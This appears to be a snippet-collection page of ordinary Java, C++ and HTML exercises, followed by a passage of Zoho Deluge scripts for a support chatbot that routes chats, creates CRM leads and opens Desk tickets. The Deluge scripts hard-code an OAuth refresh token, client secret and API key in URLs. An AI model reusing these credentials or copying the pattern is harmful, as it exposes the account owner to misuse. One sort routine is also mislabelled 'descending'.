Snippets Collections
<!DOCTYPE html>
<html lang="en">
    <head>
        <title></title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link href="css/style.css" rel="stylesheet">
    </head>
    <body>
    <p>
    <div class="cmain" style="display:inline-block; width:auto; height:auto; overflow:hidden;">
    <div class="container" style="display:inline-block; ">
    <iframe frameborder="no" src="https://embed.waze.com/es/iframe?zoom=15&lat=18.505706347986067&lon=-69.85666856117285&pin=1"
  width="800" height="670"></iframe>
  </div>
    </div>
    </body> 
</html>
public class TowerOfHanoi {

    public static void solve(int n, char source, char target, char auxiliary) {
        if (n == 1) {
            System.out.println("Move disk 1 from " + source + " to " + target);
            return;
        }
        solve(n - 1, source, auxiliary, target);
        System.out.println("Move disk " + n + " from " + source + " to " + target);
        solve(n - 1, auxiliary, target, source);
    }

    public static void main(String[] args) {
        int n = 3; // Number of disks
        solve(n, 'A', 'C', 'B'); // A, B and C are the names of the rods
    }
}
import java.util.Scanner;

public class Gcd {
    
    public static int gcd(int a, int b) {
        if (b == 0) {
            return a;
        }
        return gcd(b, a % b);
    }

    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter two numbers: ");
        int a = scanner.nextInt();
        int b = scanner.nextInt();

        int result = gcd(a, b);
        System.out.println("GCD of " + a + " and " + b + " is: " + result);

        scanner.close();
    }
}
import java.util.Scanner;

public class P1 {

    public static void print(int arr[]) {
        for (int i = 0; i < arr.length; i++) {
            System.out.print(arr[i] + " ");
        }
    }

    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the size of the array: ");
        int n = scanner.nextInt();

        int arr[] = new int[n];

        System.out.println("Enter the array elements:");
        for (int i = 0; i < n; i++) {
            arr[i] = scanner.nextInt();
        }

        int temp;
        for (int i = 0; i < arr.length - 1; i++) {
            for (int j = 0; j < arr.length - 1 - i; j++) {
                if (arr[j] > arr[j + 1]) {
                    temp = arr[j];
                    arr[j] = arr[j + 1];
                    arr[j + 1] = temp;
                }
            }
        }

        System.out.println("Sorted array in ascending order:");
        print(arr);
        
        scanner.close();
    }
}
import java.util.Scanner;

public class Selection {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the size of the array: ");
        int n = scanner.nextInt();

        int arr[] = new int[n];

        System.out.println("Enter the array elements:");
        for (int i = 0; i < n; i++) {
            arr[i] = scanner.nextInt();
        }

        for (int i = 0; i < arr.length - 1; i++) {
            int minimum = i;

            for (int j = i + 1; j < arr.length; j++) {
                if (arr[j] < arr[minimum]) {
                    minimum = j;
                }
            }

            int temp = arr[minimum];
            arr[minimum] = arr[i];
            arr[i] = temp;
        }

        System.out.println("Sorted array in descending order:");
        for (int i = 0; i < arr.length; i++) {
            System.out.println(arr[i]);
        }

        scanner.close();
    }
}
#include <iostream>
using namespace std;

// Function to sort the array using bubble sort algorithm.
void processBubbleSort(int arr[], int n) {
  // Your code here
  int length =n;
  bool swapped = true;
  while(swapped){
    swapped = false;
    for (int i=0 ; i<length-1 ; i++){
        if(arr[i] > arr[i+1]){
            swapped = true;
            int largeElement = arr[i];
            arr[i] = arr[i+1];
            arr[i+1] = largeElement;
        }
    }
    length = length-1;
  }
}

void displayArray(int arr[], int n) {
  for (int i = 0; i < n; i++) {
    cout << arr[i] << " ";
  }
  cout << endl;
}

// Function to dynamically allocate an array and fill it with random values.
void fillDynamicArrayWithRandomValues(int** arr, int* n) {
    cout << "Enter the size of the array: ";
    cin >> *n;
    *arr = new int[*n];
    srand(time(0)); // Seed for random number generation
    for (int i = 0; i < *n; i++) {
        (*arr)[i] = rand() % 1000; // Fill with random numbers between 0 and 999
    }
}

int main() {
    int* arr;
    int n;
    fillDynamicArrayWithRandomValues(&arr, &n);
    cout << "Unsorted array: ";
    displayArray(arr, n);
    processBubbleSort(arr, n);
    cout << "Sorted array: ";
    displayArray(arr, n);
    delete[] arr; // Deallocate dynamically allocated memory
    return 0;
}
#include <iostream>
#include <vector>
using namespace std;

// Hàm sàng nguyên tố - sử dụng Sieve of Eratosthenes để tìm tất cả các số nguyên tố <= n
vector<int> sieve(int n) {
    vector<bool> is_prime(n + 1, true);
    vector<int> primes;

    is_prime[0] = is_prime[1] = false;  // 0 và 1 không phải là số nguyên tố

    for (int i = 2; i <= n; i++) {
        if (is_prime[i]) {
            primes.push_back(i);  // Nếu i là số nguyên tố, thêm vào danh sách
            for (int j = i * 2; j <= n; j += i) {
                is_prime[j] = false;  // Đánh dấu các bội số của i là không phải số nguyên tố
            }
        }
    }

    return primes;  // Trả về danh sách các số nguyên tố
}

// Hàm tìm và in các cặp (i, j) sao cho i + j = 5
void findPairsWithSum5(int n) {
    for (int i = 1; i <= n; i++) {
        for (int j = i; j <= n; j++) {
            if (i + j == 5) {
                cout << "(" << i << ", " << j << ")" << endl;
            }
        }
    }
}

int main() {
    int n;
    cout << "Nhập n: ";
    cin >> n;

    // Gọi hàm sàng nguyên tố và in kết quả
    vector<int> primes = sieve(n);
    cout << "Các số nguyên tố <= " << n << " là: ";
    for (int prime : primes) {
        cout << prime << " ";
    }
    cout << endl;

    // Tìm các cặp có tổng bằng 5
    cout << "Các cặp (i, j) có tổng bằng 5 là: " << endl;
    findPairsWithSum5(n);

    return 0;
}
//////////////////////////////// Fetching dymamic messages Start ///////////////////////////////////////////////////////////
messages = zoho.crm.getRecords("Chatbot_Messages");
// info messages;
for each  dynamic_message in messages
{
	if(dynamic_message.get("Type") == "Welcome")
	{
		welcome_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "HIPAA Disclaimer")
	{
		hippa_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Chat End")
	{
		chat_end_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Departments")
	{
		departments_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue")
	{
		issue_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Connect to Agent")
	{
		connect_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "User Not Identified")
	{
		user_not_identified_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Other Email")
	{
		other_mail_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Select Product")
	{
		select_product_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "No Support Agreement")
	{
		no_support_agreement_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Category")
	{
		category_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Read Article")
	{
		read_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Article Found")
	{
		article_found_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved with Article")
	{
		issue_resolved_with_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Tallk to Agent")
	{
		talk_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You for Information")
	{
		thank_you_for_information_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Need Further Help")
	{
		need_further_help_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You")
	{
		thank_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Team")
	{
		ticket_created_for_team_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Reference")
	{
		ticket_created_for_reference_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved")
	{
		issue_resolved_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "What Can I Help You")
	{
		how_can_i_help_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Operator Busy")
	{
		operator_busy_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Classification")
	{
		classification_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Not Created")
	{
		ticket_not_created_message = dynamic_message.get("Message");
	}
}
//////////////////////////////// Fetching dymamic messages Ends ///////////////////////////////////////////////////////////
response = Map();
departmentID = visitor.get("department_id");
if(failed_response.get("action").equalsIgnoreCase("forward"))
{
	code = cause.get("code").toNumber();
	if(code == 1001 || code == 1002 || code == 1003)
	{
		// Outside business hours // Busy Opertator /// Invalid Operator
		response.put("action","reply");
		response.put("replies",{operator_busy_message});
		if(departmentID == "655171000000007001")
		{
			// Sales Department
			getAccessToken = invokeurl
			[
				url :"https://accounts.zoho.com/oauth/v2/token?refresh_token=1000.35651ab6143ca5cf40a77d63143f2da4.dc85264b1c57b1203ae869a971598215&client_id=1000.D5KNOCDNNRDIJQO0WUATY3X7DYUUWE&client_secret=efd3a5b025c48fdb46843a14853197ad12b924aa20&grant_type=refresh_token"
				type :POST
			];
			// 			info getAccessToken.get("access_token");
			headerMap = Map();
			headerMap.put("Authorization","Zoho-oauthtoken " + getAccessToken.get("access_token"));
			// 			info headerMap;
			queryMap = Map();
			queryMap.put("select_query","select Issue_Type, Required_Information from ChatBot_Actions where Department = 'Sales'");
			response = invokeurl
			[
				url :"https://www.zohoapis.com/crm/v4/coql"
				type :POST
				parameters:queryMap.toString()
				headers:headerMap
			];
			// 	info response;
			responseData = response.get("data");
			issueTypeList = List();
			issueTypeVSRequiredInformation = Map();
			for each  option in responseData
			{
				if(!issueTypeList.contains(option.get("Issue_Type")))
				{
					issueTypeList.add(option.get("Issue_Type"));
				}
				////////////////////////////IssueType VS Required Information  /////////////////////////////
				if(issueTypeVSRequiredInformation.containKey(option.get("Issue_Type")))
				{
					requiredInformationList = issueTypeVSRequiredInformation.get(option.get("Issue_Type"));
					if(!requiredInformationList.contains(option.get("Required_Information")))
					{
						requiredInformationList.add(option.get("Required_Information"));
						issueTypeVSRequiredInformation.put(option.get("Issue_Type"),requiredInformationList);
					}
				}
				else
				{
					requiredInformationList = List();
					requiredInformationList.add(option.get("Required_Information"));
					issueTypeVSRequiredInformation.put(option.get("Issue_Type"),requiredInformationList);
				}
			}
			// 	info "issueType = "+issueTypeList;
			// 	info "issuetype vs recquired info ="+issueTypeVSRequiredInformation;
			response.put("action","context");
			response.put("context_id","salesIssueType");
			question = {"name":"issueType","replies":{issue_message},"input":{"type":"select","options":issueTypeList}};
			response.put("questions",{question});
			tempStoreMap = Map();
			tempStoreMap.put("salesIssuetypeVSrequiredInfo",issueTypeVSRequiredInformation);
			storeData = zoho.salesiq.visitorsession.set("mediproinc",tempStoreMap,"zoho_salesiq");
		}
	}
}
return response;
//////////////////////////////// Fetching dymamic messages Start ///////////////////////////////////////////////////////////
messages = zoho.crm.getRecords("Chatbot_Messages");
// info messages;
for each  dynamic_message in messages
{
	if(dynamic_message.get("Type") == "Welcome")
	{
		welcome_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "HIPAA Disclaimer")
	{
		hippa_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Chat End")
	{
		chat_end_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Departments")
	{
		departments_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue")
	{
		issue_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Connect to Agent")
	{
		connect_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "User Not Identified")
	{
		user_not_identified_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Other Email")
	{
		other_mail_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Select Product")
	{
		select_product_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "No Support Agreement")
	{
		no_support_agreement_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Category")
	{
		category_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Read Article")
	{
		read_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Article Found")
	{
		article_found_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved with Article")
	{
		issue_resolved_with_article_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Tallk to Agent")
	{
		talk_to_agent_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You for Information")
	{
		thank_you_for_information_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Need Further Help")
	{
		need_further_help_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Thank You")
	{
		thank_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Team")
	{
		ticket_created_for_team_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Created for Reference")
	{
		ticket_created_for_reference_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Issue Resolved")
	{
		issue_resolved_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "What Can I Help You")
	{
		how_can_i_help_you_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Operator Busy")
	{
		operator_busy_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Classification")
	{
		classification_message = dynamic_message.get("Message");
	}
	else if(dynamic_message.get("Type") == "Ticket Not Created")
	{
		ticket_not_created_message = dynamic_message.get("Message");
	}
}
//////////////////////////////// Fetching dymamic messages Ends ///////////////////////////////////////////////////////////
response = Map();
response.put("action","context");
response.put("context_id",context_id);
/////////////////////////Checking and Creating Sessions//////////////////////////////////////////////
departmentId = "810990000000014005";
deskDepartmentId = "206833000002271242";
data_mp = zoho.salesiq.visitorsession.get("mediproinc","data_mp","zoho_salesiq").get("data_mp");
if(!isNull(data_mp))
{
	department = data_mp.get("department");
	if(department == "Sales")
	{
		//sales
		departmentId = "810990000000014003";
		deskDepartmentId = "206833000001963132";
	}
	else if(department == "Client Care")
	{
		//client care		
		departmentId = "810990000000014005";
		deskDepartmentId = "206833000002271242";
	}
	accountID = data_mp.get("accountID");
	activeAgreement = data_mp.get("activeAgreement");
}
//////////////////////////////////////////////////////////////////////
if(context_id.equals("verifyContact"))
{
	contactEmail = answers.get("otherEmail").get("text");
	info contactEmail;
	///////////////////////////////////////////////////////////////////
	set_map = Map();
	set_map.put("otherEmail",contactEmail);
	temp_store = zoho.salesiq.visitorsession.set("mediproinc",set_map,"zoho_salesiq");
	info "Storing data = " + temp_store;
	////////////////////////////////////////////////////////
	searchContact = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v3/Contacts/search?criteria=(Email:equals:" + contactEmail + ")"
		type :GET
		connection:"zohocrm"
	];
	// 	info searchContact;
	if(isNull(searchContact))
	{
		// Chat Forward
		response.put("action","forward");
		response.put("department",departmentId);
		response.put("replies",{connect_to_agent_message});
	}
	else
	{
		/////////////// User found ///////////////
		info "Record Found";
		contactDetials = searchContact.get("data").get(0);
		accountID = contactDetials.get("Account_Name").get("id");
		chatBotActions = invokeurl
		[
			url :"https://www.zohoapis.com/crm/v2/functions/erphub_test/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&accountID=" + accountID
			type :POST
		];
		info "From function = " + chatBotActions;
		classifications = chatBotActions.get("details").get("output").get("classifications");
		///////////////////////////////////////////////////
		if(!classifications.isEmpty())
		{
			////////////////////////////////////////////////////////////////////////////////////////
			searchAgreement = invokeurl
			[
				url :"https://www.zohoapis.com/crm/v3/Contracts/search?criteria=((Account:equals:" + accountID + ")and(Status:equals:Active))"
				type :GET
				connection:"zohocrm"
			];
			info "searchAgreement: " + searchAgreement;
			activeAgreement = false;
			if(searchAgreement.size() > 0)
			{
				activeAgreement = true;
			}
			else
			{
				activeAgreement = false;
			}
			/////////////////////////////////////////////////////////////////////
			classification_rep_list = List();
			if(activeAgreement == true)
			{
				classification_rep_list.add(classification_message);
			}
			else
			{
				classification_rep_list.add(no_support_agreement_message);
				classification_rep_list.add(classification_message);
			}
			//////////////////////info show question/////////////////////////////
			response.put("action","context");
			response.put("context_id","clientCare");
			question = {"name":"classification","replies":classification_rep_list,"input":{"type":"select","options":classifications}};
			response.put("questions",{question});
			/////////////////////Create Session//////////////////////////////////
			data_mp = Map();
			data_mp.put("accountID",accountID);
			data_mp.put("activeAgreement",activeAgreement);
			data_mp.put("department","Client Care");
			set_map = Map();
			set_map.put("data_mp",data_mp);
			temp_store = zoho.salesiq.visitorsession.set("mediproinc",set_map,"zoho_salesiq");
			info "Storing data = " + temp_store;
			/////////////////////////////////////////////////////////////////////
		}
		else
		{
			// Chat End
			response.put("action","end");
			response.put("replies",{chat_end_message});
		}
	}
}
///////////////////// Sales Department ////////////////////////////////////
if(context_id.equals("salesIssueType"))
{
	if(!answers.containsKey("whatCanIhelpYouWith"))
	{
		selectedIssueType = answers.get("issueType").get("text");
		///////////////////////////////////////////////////////////////////////////////
		response.put("context_id","salesIssueType");
		question = {"name":"whatCanIhelpYouWith","replies":{how_can_i_help_you_message}};
		response.put("questions",{question});
	}
	else
	{
		selectedIssueType = answers.get("issueType").get("text");
		helpAnswer = answers.get("whatCanIhelpYouWith").get("text");
		leadMap = Map();
		fullName = visitor.get("name");
		if(fullName.contains(" "))
		{
			leadMap.put("First_Name",fullName.getPrefix(" "));
			leadMap.put("Last_Name",fullName.getSuffix(" "));
		}
		else
		{
			leadMap.put("Last_Name",fullName);
		}
		leadMap.put("Company",fullName);
		leadMap.put("Email",visitor.get("email"));
		leadMap.put("Phone",visitor.get("phone"));
		leadMap.put("Lead_Source","Chat");
		leadMap.put("Description",helpAnswer);
		options = Map();
		optionlist = list();
		optionlist.add("workflow");
		options.put("trigger",optionlist);
		leadResponse = zoho.crm.createRecord("leads",leadMap,options,"zohocrm");
		// 		info "Creating lead: " + leadResponse;
		// Chat Forward
		response.put("action","forward");
		response.put("department",departmentId);
		response.put("replies",{connect_to_agent_message});
	}
}
///////////////////// Sales Department End /////////////////////////
///////////////////// Client Care //////////////////////////////
////// User not identified ///////////////
if(context_id.equals("userNotIdentified"))
{
	if(!answers.containsKey("couldNotIdentify"))
	{
		response.put("action","context");
		response.put("context_id","userNotIdentified");
		couldNotIdentify = {"name":"couldNotIdentify","replies":{user_not_identified_message},"input":{"type":"select","options":{"Yes","No"}}};
		response.put("questions",{couldNotIdentify});
	}
	else
	{
		couldNotIdentify = answers.get("couldNotIdentify").get("text");
		if(couldNotIdentify.toString() == "Yes")
		{
			if(!answers.containsKey("otherEmail"))
			{
				response.put("action","context");
				response.put("context_id","verifyContact");
				otherEmail = {"name":"otherEmail","replies":{other_mail_message}};
				response.put("questions",{otherEmail});
			}
		}
		else
		{
			// Chat Forward
			response.put("action","forward");
			response.put("department",departmentId);
			response.put("replies",{connect_to_agent_message});
		}
	}
}
////// User not identified End ///////////////
//////////////////  Client Care /////////////////////
if(context_id.equals("clientCare"))
{
	chatBotActions = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v2/functions/erphub_test/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&accountID=" + accountID
		type :POST
	];
	// 	info "From function = " + chatBotActions;
	classifications = chatBotActions.get("details").get("output").get("classifications");
	classificationsVsCategories = chatBotActions.get("details").get("output").get("classificationsVsCategories");
	catergoriesVsIssueTypes = chatBotActions.get("details").get("output").get("catergoriesVsIssueTypes");
	issueTypeVsrequireInfo = chatBotActions.get("details").get("output").get("issueTypeVsrequireInfo");
	if(answers.containsKey("classification") && !answers.containsKey("category"))
	{
		classification = answers.get("classification").get("text");
		response.put("context_id","clientCare");
		category = {"name":"category","replies":{category_message},"input":{"type":"select","options":classificationsVsCategories.get(classification)}};
		response.put("questions",{category});
	}
	else
	{
		keyCombination_issueType = answers.get("classification").get("text") + "/" + answers.get("category").get("text");
		returnedCategories = catergoriesVsIssueTypes.get(keyCombination_issueType);
		if(!returnedCategories.contains("Empty") && answers.containsKey("classification") && answers.containsKey("category") && !answers.containsKey("issueType"))
		{
			category = answers.get("category").get("text");
			response.put("context_id","clientCare");
			issueType = {"name":"issueType","replies":{issue_message},"input":{"type":"select","options":returnedCategories}};
			response.put("questions",{issueType});
		}
		else
		{
			keyCombination = answers.get("classification").get("text") + "/" + answers.get("category").get("text") + "/" + ifnull(answers.get("issueType"),{"text":"Empty"}).get("text");
			info keyCombination;
			crmRecordId = issueTypeVsrequireInfo.get(keyCombination);
			/////////////////////////////////////////////////////////////////////////////////////////////
			tempStoreMap = Map();
			tempStoreMap.put("crmRecordId",crmRecordId);
			tempStoreMap.put("classification",answers.get("classification").get("text"));
			tempStoreMap.put("category",answers.get("category").get("text"));
			tempStoreMap.put("issueType",ifnull(answers.get("issueType"),{"text":"Empty"}).get("text"));
			storeData = zoho.salesiq.visitorsession.set("mediproinc",tempStoreMap,"zoho_salesiq");
			/////////////////////////////////////////////////////////////////////////////////////////////
			chatBotActionsRecId = invokeurl
			[
				url :"https://www.zohoapis.com/crm/v2/functions/Chatbot_Actions_Using_RecId/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&recId=" + crmRecordId
				type :POST
			];
			requiredInfoType = chatBotActionsRecId.get("details").get("output").get("requiredInfoType");
			///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			Free_Typing_Questions_Instructions = chatBotActionsRecId.get("details").get("output").get("Free_Typing_Questions_Instructions");
			KB_Instruction_Article = chatBotActionsRecId.get("details").get("output").get("KB_Instruction_Article");
			Free_Typing_Formatted_Questions = chatBotActionsRecId.get("details").get("output").get("Free_Typing_Formatted_Questions");
			///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			Multi_Option_Message = chatBotActionsRecId.get("details").get("output").get("Multi_Option_Message");
			Multi_Option_Question = chatBotActionsRecId.get("details").get("output").get("Multi_Option_Question");
			Multiple_Options = chatBotActionsRecId.get("details").get("output").get("Multiple_Options");
			Option_vs_Output_Messages = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Messages");
			Option_vs_Output_Actions = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Actions");
			Option_vs_Output_Article = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Article");
			///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			Output_Message = chatBotActionsRecId.get("details").get("output").get("Output_Message");
			Output_Action = chatBotActionsRecId.get("details").get("output").get("Output_Action");
			KB_Article = chatBotActionsRecId.get("details").get("output").get("KB_Article");
			///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			if(requiredInfoType == "Free Typing Question")
			{
				response.put("action","context");
				response.put("context_id","output");
				////////////////////////////////////////////////
				question_count = 1;
				questions_list = List();
				for each  val in Free_Typing_Formatted_Questions
				{
					replies = Collection();
					if(question_count == 1)
					{
						if(Free_Typing_Questions_Instructions != "-" && Free_Typing_Questions_Instructions != null)
						{
							if(KB_Instruction_Article != null && KB_Instruction_Article != "-")
							{
								replies.insert({"type":"links","text":Free_Typing_Questions_Instructions,"links":{{"url":KB_Instruction_Article,"text":read_article_message}}});
							}
							else
							{
								replies.insert(Free_Typing_Questions_Instructions);
							}
						}
					}
					info val;
					replies.insert(val);
					question = {"name":val,"replies":replies};
					questions_list.add(question);
					////////////////////////////////////////////
					question_count = question_count + 1;
				}
				response.put("questions",questions_list);
			}
			else if(requiredInfoType == "Multi Option Question")
			{
				response.put("action","context");
				response.put("context_id","multi_option_context");
				////////////////////////////////////////////////
				replies = Collection();
				if(!isNull(Multi_Option_Message))
				{
					replies.insert(Multi_Option_Message);
				}
				replies.insert(Multi_Option_Question);
				question = {"name":"multiOptionSelection","replies":replies,"input":{"type":"select","options":Multiple_Options}};
				response.put("questions",{question});
			}
			else if(requiredInfoType == "Article Only")
			{
				replies = Collection();
				KB_Article = ifnull(KB_Article,"https://www.medipro.com/");
				if(Output_Message != "-" && Output_Message != null)
				{
					replies.insert({"type":"links","text":Output_Message,"links":{{"url":KB_Article,"text":read_article_message}}});
				}
				else
				{
					replies.insert({"type":"links","text":article_found_message,"links":{{"url":KB_Article,"text":read_article_message}}});
				}
				response.put("action","end");
				response.put("replies",replies);
			}
		}
	}
}
////////////////////////////////////////////
if(context_id.equals("multi_option_context"))
{
	crmRecordId = zoho.salesiq.visitorsession.get("mediproinc","crmRecordId","zoho_salesiq").get("crmRecordId");
	/////////////////////////////////////////////////////////////////////////////////////////////
	chatBotActionsRecId = invokeurl
	[
		url :"https://www.zohoapis.com/crm/v2/functions/Chatbot_Actions_Using_RecId/actions/execute?auth_type=apikey&zapikey=1003.54e865e56692ea2154455b76012a7b71.1a7eab6552466d5f0187d84f8f1785b0&recId=" + crmRecordId
		type :POST
	];
	requiredInfoType = chatBotActionsRecId.get("details").get("output").get("requiredInfoType");
	Check_Support_Agreement = chatBotActionsRecId.get("details").get("output").get("Check_Support_Agreement");
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	Multi_Option_Message = chatBotActionsRecId.get("details").get("output").get("Multi_Option_Message");
	Multi_Option_Question = chatBotActionsRecId.get("details").get("output").get("Multi_Option_Question");
	Multiple_Options = chatBotActionsRecId.get("details").get("output").get("Multiple_Options");
	Option_vs_Output_Messages = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Messages");
	Option_vs_Output_Actions = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Actions");
	Option_vs_Output_Article = chatBotActionsRecId.get("details").get("output").get("Option_vs_Output_Article");
	///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////		
	if(requiredInfoType == "Multi Option Question")
	{
		selectedValue = answers.get("multiOptionSelection").get("text");
		/////////////////////////////////////////////////////////////////////////////////////////////
		tempStoreMap = Map();
		tempStoreMap.put("multiOptionSelection",selectedValue);
		storeData = zoho.salesiq.visitorsession.set("mediproinc",tempStoreMap,"zoho_salesiq");
		/////////////////////////////////////////////////////////////////////////////////////////////
		selectedMessages = ifnull(Option_vs_Output_Messages.get(selectedValue),"-");
		info "Line 463";
		info "selected Messages = " + selectedMessages;
		////////////////////////////////////////////////
		if(selectedMessages.matches("\d+\.") || selectedMessages.contains("?") || selectedMessages.contains(":"))
		{
			response.put("action","context");
			response.put("context_id","output");
			mainQuestion = selectedMessages.getPrefix(":");
			if(mainQuestion == null)
			{
				mainQuestion = selectedMessages;
			}
			subQuestions = selectedMessages.getSuffix(":");
			if(subQuestions != null)
			{
				finalSubQuestion = subQuestions.replaceAll("\d+\.","<q>").replaceFirst("<q>","").toList("<q>");
			}
			////////////////////////////////////////////////
			question_count = 1;
			questions_list = List();
			for each  val in finalSubQuestion
			{
				trimmedQuestion = val.trim();
				replies = Collection();
				if(question_count == 1)
				{
					if(mainQuestion != "-" && mainQuestion != null)
					{
						replies.insert(mainQuestion);
					}
				}
				replies.insert(trimmedQuestion);
				question = {"name":trimmedQuestion,"replies":replies};
				questions_list.add(question);
				////////////////////////////////////////////
				question_count = question_count + 1;
			}
			response.put("questions",questions_list);
		}
		else
		{
			selectedActions = Option_vs_Output_Actions.get(selectedValue);
			selectedArticle = Option_vs_Output_Article.get(selectedValue);
			finalActions = selectedActions;
			finalArticle = ifnull(selectedArticle,"https://www.medipro.com/");
			//////////////////////////////////////////////////////////////////////////////////////////////
			if(activeAgreement == false && Check_Support_Agreement == true)
			{
				finalActions.removeElement("Talk to an Agent");
			}
			//////////////////////////////////////////////////////
			////////////////  Create Ticket //////////////////////////////////////////////////////////
			ticketId = "";
			ticketNumber = "";
			if(finalActions.contains("Open Ticket") || finalActions.contains("Closed Ticket"))
			{
				otherEmail = zoho.salesiq.visitorsession.get("mediproinc","otherEmail","zoho_salesiq").get("otherEmail");
				email = ifnull(otherEmail,visitor.get("email"));
				search_param_map = Map();
				search_param_map.put("email",email);
				Get_Contact = invokeurl
				[
					url :"https://desk.zoho.com/api/v1/contacts/search?"
					type :GET
					parameters:search_param_map
					connection:"zoho_desk"
				];
				// 			info "Searching Customer = "+Get_Contact;
				if(Get_Contact.get("data").size() > 0)
				{
					//// Contact found 
					deskContactID = Get_Contact.get("data").get(0).get("id");
				}
				else
				{
					/// Create Contact
					contactMap = Map();
					fullName = visitor.get("name");
					if(fullName.contains(" "))
					{
						contactMap.put("firstName",fullName.getPrefix(" "));
						contactMap.put("lastName",fullName.getSuffix(" "));
					}
					else
					{
						contactMap.put("lastName",fullName);
					}
					otherEmail = zoho.salesiq.visitorsession.get("mediproinc","otherEmail","zoho_salesiq").get("otherEmail");
					email = ifnull(otherEmail,visitor.get("email"));
					contactMap.put("email",email);
					contactMap.put("phone",visitor.get("phone"));
					creatingDeskContact = invokeurl
					[
						url :"https://desk.zoho.com/api/v1/contacts"
						type :POST
						parameters:contactMap.toString()
						connection:"zoho_desk"
					];
					info "creatingDeskContact = " + creatingDeskContact;
					deskContactID = creatingDeskContact.get("id");
				}
				////////////////////////////////////////////////////////////
				classification = zoho.salesiq.visitorsession.get("mediproinc","classification","zoho_salesiq").get("classification");
				category = zoho.salesiq.visitorsession.get("mediproinc","category","zoho_salesiq").get("category");
				issueType = zoho.salesiq.visitorsession.get("mediproinc","issueType","zoho_salesiq").get("issueType");
				////////////////////////////////////////////////////////////
				//// Creating Ticket
				create_map = Map();
				create_map.put("subject","Ticket submitted by " + visitor.get("name") + " via Chatbot.");
				create_map.put("contactId",deskContactID);
				create_map.put("departmentId",deskDepartmentId);
				create_map.put("channel","Chat");
				create_map.put("description","");
				create_map.put("classification",classification.replaceAll("[\"#%&'+,;<=>\\^`{}|~]",""));
